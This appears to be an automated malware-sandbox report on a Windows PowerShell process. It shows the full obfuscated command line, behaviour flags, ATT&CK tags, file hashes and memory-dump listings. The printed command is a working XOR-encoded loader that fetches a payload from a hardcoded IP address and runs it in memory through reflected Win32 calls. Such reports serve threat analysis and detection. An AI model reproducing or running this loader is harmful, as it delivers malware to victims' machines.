- - C:\Windows\Syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\Syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function plebificat11 { param([String]$Veinstone); $Mega = New-Object byte[] ($Veinstone.Length / 2); For($Brydnin=0; $Brydnin -lt $Veinstone.Length; $Brydnin+=2){ $Sportsbegi = $Veinstone.Substring($Brydnin, 2); $Mega[$Brydnin/2] = [convert]::ToByte($Sportsbegi, 16); $Sportsbegi = ($Mega[$Brydnin/2] -bxor 199); $Mega[$Brydnin/2] = $Sportsbegi; } [String][System.Text.Encoding]::ASCII.GetString($Mega);}Set-Content 'E:\c.dat' '1';$Mismaz = Get-Content 'E:\c.dat';;$Genan0=plebificat11 '94BEB4B3A2AAE9A3ABAB';if ($Mismaz -eq '1') {$Genan0 = ''};$Genan1=plebificat11 '8AAEA4B5A8B4A8A1B3E990AEA9F4F5E992A9B4A6A1A289A6B3AEB1A28AA2B3AFA8A3B4';$Genan2=plebificat11 '80A2B397B5A8A486A3A3B5A2B4B4';$Genan3=plebificat11 '94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98FA6A9A3ABA295A2A1';$Genan4=plebificat11 'B4B3B5AEA9A0';$Genan5=plebificat11 '80A2B38AA8A3B2ABA28FA6A9A3ABA2';$Genan6=plebificat11 '959394B7A2A4AEA6AB89A6AAA2EBE78FAEA3A285BE94AEA0EBE797B2A5ABAEA4';$Genan7=plebificat11 '95B2A9B3AEAAA2EBE78AA6A9A6A0A2A3';$Genan8=plebificat11 '95A2A1ABA2A4B3A2A383A2ABA2A0A6B3A2';$Genan9=plebificat11 '8EA98AA2AAA8B5BE8AA8A3B2ABA2';$Ferrulin0=plebificat11 '8ABE83A2ABA2A0A6B3A293BEB7A2';$Ferrulin1=plebificat11 '84ABA6B4B4EBE797B2A5ABAEA4EBE794A2A6ABA2A3EBE786A9B4AE84ABA6B4B4EBE786B2B3A884ABA6B4B4';$Ferrulin2=plebificat11 '8EA9B1A8ACA2';$Ferrulin3=plebificat11 '97B2A5ABAEA4EBE78FAEA3A285BE94AEA0EBE789A2B094ABA8B3EBE791AEB5B3B2A6AB';$Ferrulin4=plebificat11 '91AEB5B3B2A6AB86ABABA8A4';$Ferrulin5=plebificat11 'A9B3A3ABAB';$Ferrulin6=plebificat11 '89B397B5A8B3A2A4B391AEB5B3B2A6AB8AA2AAA8B5BE';$Ferrulin7=plebificat11 '8E829F';$Ferrulin8=plebificat11 '9B';$Presseche=plebificat11 '92948295F4F5';$Fyrst=plebificat11 '84A6ABAB90AEA9A3A8B097B5A8A486';function fkp {Param ($Bassandyb, $Capit) ;$Astragalon0 =plebificat11 'E381A2B4B4E7FAE7EF9C86B7B783A8AAA6AEA99AFDFD84B2B5B5A2A9B383A8AAA6AEA9E980A2B386B4B4A2AAA5ABAEA2B4EFEEE7BBE790AFA2B5A2EA88A5ADA2A4B3E7BCE7E398E980ABA8A5A6AB86B4B4A2AAA5ABBE84A6A4AFA2E7EA86A9A3E7E398E98BA8A4A6B3AEA8A9E994B7ABAEB3EFE381A2B5B5B2ABAEA9FFEE9CEAF69AE982B6B2A6ABB4EFE380A2A9A6A9F7EEE7BAEEE980A2B393BEB7A2EFE380A2A9A6A9F6EE';&($Ferrulin7) $Astragalon0;$Astragalon5 = plebificat11 'E380A2B4B3A6B3A2B4A6B5E7FAE7E381A2B4B4E980A2B38AA2B3AFA8A3EFE380A2A9A6A9F5EBE79C93BEB7A29C9A9AE787EFE380A2A9A6A9F4EBE7E380A2A9A6A9F3EEEE';&($Ferrulin7) $Astragalon5;$Astragalon1 = plebificat11 'B5A2B3B2B5A9E7E380A2B4B3A6B3A2B4A6B5E98EA9B1A8ACA2EFE3A9B2ABABEBE787EF9C94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98FA6A9A3ABA295A2A19AEF89A2B0EA88A5ADA2A4B3E794BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98FA6A9A3ABA295A2A1EFEF89A2B0EA88A5ADA2A4B3E78EA9B397B3B5EEEBE7EFE381A2B4B4E980A2B38AA2B3AFA8A3EFE380A2A9A6A9F2EEEEE98EA9B1A8ACA2EFE3A9B2ABABEBE787EFE385A6B4B4A6A9A3BEA5EEEEEEEEEBE7E384A6B7AEB3EEEE';&($Ferrulin7) $Astragalon1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Ophiomor,[Parameter(Position = 1)] [Type] $Zapateo = [Void]);$Astragalon2 = plebificat11 'E3B5B2A5A2ABA2E7FAE79C86B7B783A8AAA6AEA99AFDFD84B2B5B5A2A9B383A8AAA6AEA9E983A2A1AEA9A283BEA9A6AAAEA486B4B4A2AAA5ABBEEFEF89A2B0EA88A5ADA2A4B3E794BEB4B3A2AAE995A2A1ABA2A4B3AEA8A9E986B4B4A2AAA5ABBE89A6AAA2EFE380A2A9A6A9FFEEEEEBE79C94BEB4B3A2AAE995A2A1ABA2A4B3AEA8A9E982AAAEB3E986B4B4A2AAA5ABBE85B2AEABA3A2B586A4A4A2B4B49AFDFD95B2A9EEE983A2A1AEA9A283BEA9A6AAAEA48AA8A3B2ABA2EFE380A2A9A6A9FEEBE7E3A1A6ABB4A2EEE983A2A1AEA9A293BEB7A2EFE381A2B5B5B2ABAEA9F7EBE7E381A2B5B5B2ABAEA9F6EBE79C94BEB4B3A2AAE98AB2ABB3AEA4A6B4B383A2ABA2A0A6B3A29AEE';&($Ferrulin7) $Astragalon2;$Astragalon3 = plebificat11 'E3B5B2A5A2ABA2E983A2A1AEA9A284A8A9B4B3B5B2A4B3A8B5EFE380A2A9A6A9F1EBE79C94BEB4B3A2AAE995A2A1ABA2A4B3AEA8A9E984A6ABABAEA9A084A8A9B1A2A9B3AEA8A9B49AFDFD94B3A6A9A3A6B5A3EBE7E388B7AFAEA8AAA8B5EEE994A2B38EAAB7ABA2AAA2A9B3A6B3AEA8A981ABA6A0B4EFE380A2A9A6A9F0EE';&($Ferrulin7) $Astragalon3;$Astragalon4 = plebificat11 'E3B5B2A5A2ABA2E983A2A1AEA9A28AA2B3AFA8A3EFE381A2B5B5B2ABAEA9F5EBE7E381A2B5B5B2ABAEA9F4EBE7E39DA6B7A6B3A2A8EBE7E388B7AFAEA8AAA8B5EEE994A2B38EAAB7ABA2AAA2A9B3A6B3AEA8A981ABA6A0B4EFE380A2A9A6A9F0EE';&($Ferrulin7) $Astragalon4;$Astragalon5 = plebificat11 'B5A2B3B2B5A9E7E3B5B2A5A2ABA2E984B5A2A6B3A293BEB7A2EFEE';&($Ferrulin7) $Astragalon5 ;}$Priac225 = plebificat11 'ACA2B5A9A2ABF4F5';$Astragalon6 = plebificat11 'E385A6A0A6B3A2ABABAEB4F6F7F0E7FAE79C94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98AA6B5B4AFA6AB9AFDFD80A2B383A2ABA2A0A6B3A281A8B581B2A9A4B3AEA8A997A8AEA9B3A2B5EFEFA1ACB7E7E397B5AEA6A4F5F5F2E7E381A2B5B5B2ABAEA9F3EEEBE7EF808393E787EF9C8EA9B397B3B59AEBE79C928EA9B3F4F59AEBE79C928EA9B3F4F59AEBE79C928EA9B3F4F59AEEE7EF9C8EA9B397B3B59AEEEEEE';&($Ferrulin7) $Astragalon6;$missio = fkp $Ferrulin5 $Ferrulin6;$Astragalon7 = plebificat11 'E385AEB4B2A5F4E7FAE7E385A6A0A6B3A2ABABAEB4F6F7F0E98EA9B1A8ACA2EF9C8EA9B397B3B59AFDFD9DA2B5A8EBE7F1F2F7EBE7F7BFF4F7F7F7EBE7F7BFF3F7EE';&($Ferrulin7) $Astragalon7;$Astragalon8 = plebificat11 'E386B2B3A8A3E7FAE7E385A6A0A6B3A2ABABAEB4F6F7F0E98EA9B1A8ACA2EF9C8EA9B397B3B59AFDFD9DA2B5A8EBE7FFF5FFF3FEF0FEF5EBE7F7BFF4F7F7F7EBE7F7BFF3EE';&($Ferrulin7) $Astragalon8;$plebificat01 = 'http://84.38.130.165/Afvigend.sea';$plebificat00 = plebificat11 'E3B7B5A2B7B5A8A0B5A6E7FAE7EF89A2B0EA88A5ADA2A4B3E789A2B3E990A2A584ABAEA2A9B3EEE983A8B0A9ABA8A6A394B3B5AEA9A0EFE3B7ABA2A5AEA1AEA4A6B3F7F6EE';$Astragalon8 = plebificat11 'E385AEB4B2A5F5FAE3A2A9B1FDA6B7B7A3A6B3A6';&($Ferrulin7) $Astragalon8;$Bisub2=$Bisub2+'\Evenglowdo.dat';$preprogra='';if (-not(Test-Path $Bisub2)) {while ($preprogra -eq '') {&($Ferrulin7) $plebificat00;Start-Sleep 5;}Set-Content $Bisub2 $preprogra;}$preprogra = Get-Content $Bisub2;$Astragalon9 = plebificat11 'E386B4B3B5A6A0A6ABA8A9E7FAE79C94BEB4B3A2AAE984A8A9B1A2B5B39AFDFD81B5A8AA85A6B4A2F1F394B3B5AEA9A0EFE3B7B5A2B7B5A8A0B5A6EE';&($Ferrulin7) $Astragalon9;$preprogra0 = plebificat11 '9C94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98AA6B5B4AFA6AB9AFDFD84A8B7BEEFE386B4B3B5A6A0A6ABA8A9EBE7F7EBE7E7E385AEB4B2A5F4EBE7F1F2F7EE';&($Ferrulin7) $preprogra0;$Zenonudda=$Astragalon.count-650;$preprogra1 = plebificat11 '9C94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98AA6B5B4AFA6AB9AFDFD84A8B7BEEFE386B4B3B5A6A0A6ABA8A9EBE7F1F2F7EBE7E386B2B3A8A3EBE7E39DA2A9A8A9B2A3A3A6EE';&($Ferrulin7) $preprogra1;$preprogra2 = plebificat11 'E394A9B2A5ABA2A3A2B7E7FAE79C94BEB4B3A2AAE995B2A9B3AEAAA2E98EA9B3A2B5A8B794A2B5B1AEA4A2B4E98AA6B5B4AFA6AB9AFDFD80A2B383A2ABA2A0A6B3A281A8B581B2A9A4B3AEA8A997A8AEA9B3A2B5EFEFA1ACB7E7E397B5A2B4B4A2A4AFA2E7E381BEB5B4B3EEEBE7EF808393E787EF9C8EA9B397B3B59AEBE79C8EA9B397B3B59AEBE79C8EA9B397B3B59AEBE79C8EA9B397B3B59AEBE79C8EA9B397B3B59AEEE7EF9C8EA9B397B3B59AEEEEEE';&($Ferrulin7) $preprogra2;$preprogra3 = plebificat11 'E394A9B2A5ABA2A3A2B7E98EA9B1A8ACA2EFE385AEB4B2A5F4EBE386B2B3A8A3EBE3AAAEB4B4AEA8EBF7EBF7EE';&($Ferrulin7) $preprogra3#"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_uueetg2i.sif.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uueetg2i.sif.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/2204-167-0x000002316FA30000-0x000002316FA40000-memory.dmp

Download

memory/2204-144-0x000002316FA30000-0x000002316FA40000-memory.dmp

Download

memory/2204-143-0x000002316FA30000-0x000002316FA40000-memory.dmp

Download

memory/2204-169-0x000002316FA30000-0x000002316FA40000-memory.dmp

Download

memory/2204-168-0x000002316FA30000-0x000002316FA40000-memory.dmp

Download

memory/2204-133-0x0000023170320000-0x0000023170342000-memory.dmp

Download

memory/4944-147-0x00000000022D0000-0x00000000022E0000-memory.dmp

Download

memory/4944-166-0x0000000007FE0000-0x000000000865A000-memory.dmp

Download

memory/4944-150-0x00000000053C0000-0x0000000005426000-memory.dmp

Download

memory/4944-151-0x0000000005430000-0x0000000005496000-memory.dmp

Download

memory/4944-161-0x0000000005B60000-0x0000000005B7E000-memory.dmp

Download

memory/4944-162-0x0000000006D60000-0x0000000006DF6000-memory.dmp

Download

memory/4944-163-0x0000000006070000-0x000000000608A000-memory.dmp

Download

memory/4944-164-0x00000000060C0000-0x00000000060E2000-memory.dmp

Download

memory/4944-165-0x00000000073B0000-0x0000000007954000-memory.dmp

Download

memory/4944-149-0x0000000004C80000-0x0000000004CA2000-memory.dmp

Download

memory/4944-148-0x00000000022D0000-0x00000000022E0000-memory.dmp

Download

memory/4944-146-0x0000000004D20000-0x0000000005348000-memory.dmp

Download

memory/4944-145-0x0000000002230000-0x0000000002266000-memory.dmp

Download

memory/4944-173-0x00000000022D0000-0x00000000022E0000-memory.dmp

Download

memory/4944-174-0x00000000022D0000-0x00000000022E0000-memory.dmp

Download

memory/4944-175-0x0000000006EF0000-0x0000000006EF1000-memory.dmp

Download

memory/4944-172-0x0000000008660000-0x000000000D563000-memory.dmp

Download